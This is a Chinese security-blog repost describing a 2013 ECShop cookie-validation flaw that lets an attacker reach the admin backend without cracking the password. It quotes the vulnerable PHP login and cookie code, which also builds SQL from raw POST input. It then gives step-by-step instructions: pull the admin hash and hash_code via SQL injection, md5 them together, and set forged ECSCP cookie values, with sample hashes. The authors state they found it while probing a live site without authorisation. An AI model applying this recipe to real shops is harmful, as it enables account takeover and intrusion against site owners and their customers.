ECSHOP最新cookie验证不严漏洞 2013 6月全版本通杀

暗月博客 2019年11月21日16:12:17评论425 views字数 1842阅读6分8秒阅读模式
摘要

这个漏洞是我们在进行非授权安全评估时候发现的。是一个ecshop的站,通过以往的0day爆出了管理员密码,无奈解不开。。。于是就想,有没有可能将密文md5存入cookie中登陆。

这个漏洞是我们在进行非授权安全评估时候发现的。是一个ecshop的站,通过以往的0day爆出了管理员密码,无奈解不开。。。于是就想,有没有可能将密文md5存入cookie中登陆。

当然,上面假想的问题是不存在的,但是我们发现确实有类似的漏洞存在。只需要注入读取数据库的管理员加密密文和hashcode就可以登陆后台了。

确实不知道该怎么定性这个漏洞,我们认为cookie验证不严这个名字不错。

大概过程就是,ecshop注入漏洞注入出来的管理员密码解不开,我们通过密文和数据库其他标段信息构造cookie可以成功登陆。我们来详细看这个漏洞:

漏洞发生的原因是cookie验证不严。我们先来看一下验证登陆的地方:

if(!empty($ec_salt))     {          /* 检查密码是否正确 */          $sql = "SELECT user_id, user_name, password, last_login, action_list, last_login,suppliers_id,ec_salt".             " FROM " . $ecs->table('admin_user') .             " WHERE user_name = '" . $_POST['username']. "' AND password = '" . md5(md5($_POST['password']).$ec_salt) . "'";     }     else     {          /* 检查密码是否正确 */          $sql = "SELECT user_id, user_name, password, last_login, action_list, last_login,suppliers_id,ec_salt".             " FROM " . $ecs->table('admin_user') .             " WHERE user_name = '" . $_POST['username']. "' AND password = '" . md5($_POST['password']) . "'";     }

如果没有salt就只是单层md5加密(后来验证其实有salt和无salt根本不影响这个漏洞的形成)..然后这里

setcookie('ECSCP[admin_id]',   $row['user_id'],                            $time); setcookie('ECSCP[admin_pass]', md5($row['password'] . $_CFG['hash_code']), $time);

我们发现只要md5过的密码加上hash_code就是admin_pass了,hashcode在这可以查询出来(比方说注入)...

$hash_code = $db->getOne("SELECT value FROM " . $ecs->table('shop_config') . " WHERE code='hash_code'");

语句等于是

SELECT value FROM ecs_shop_config WHERE code='hash_code'

获得hashcode:31693422540744c0a6b6da635b7a5a93

08f2b116f18517707ba870ef19af706f + 31693422540744c0a6b6da635b7a5a93

将上述信息md5之,得到:78F528C52BB214FFA5E489E7A1DCCE93

登陆成功~

以上转发自习科论坛 http://bbs.blackbap.org/thread-4262-1-1.html ,是不是有点难以明白,下面我简单的说明一下:

1、通过注入得到管理员的用户名及32位密码,想进入后台,但是32位的密码破解不出来,08f2b116f18517707ba870ef19af706f

2、利用注入从ecs_shop_config得到hashcode: 31693422540744c0a6b6da635b7a5a93

3、把管理员hash和hashcode连接到一直再进行md5加密也就是 md5(08f2b116f18517707ba870ef19af706f31693422540744c0a6b6da635b7a5a93)得到的 md5值为78F528C52BB214FFA5E489E7A1DCCE93

4、修改你的本地cookie:ECSCP[admin_id]=1; ECSCP[admin_pass]=78F528C52BB214FFA5E489E7A1DCCE93;ECSCP_ID=b5a19c09952c8d1b09a97a89f48df8d1575f1dd1 即可进入后台。

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
暗月博客
  • 本文由 发表于 2019年11月21日16:12:17
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   ECSHOP最新cookie验证不严漏洞 2013 6月全版本通杀http://cn-sec.com/archives/71091.html

发表评论

匿名网友 填写信息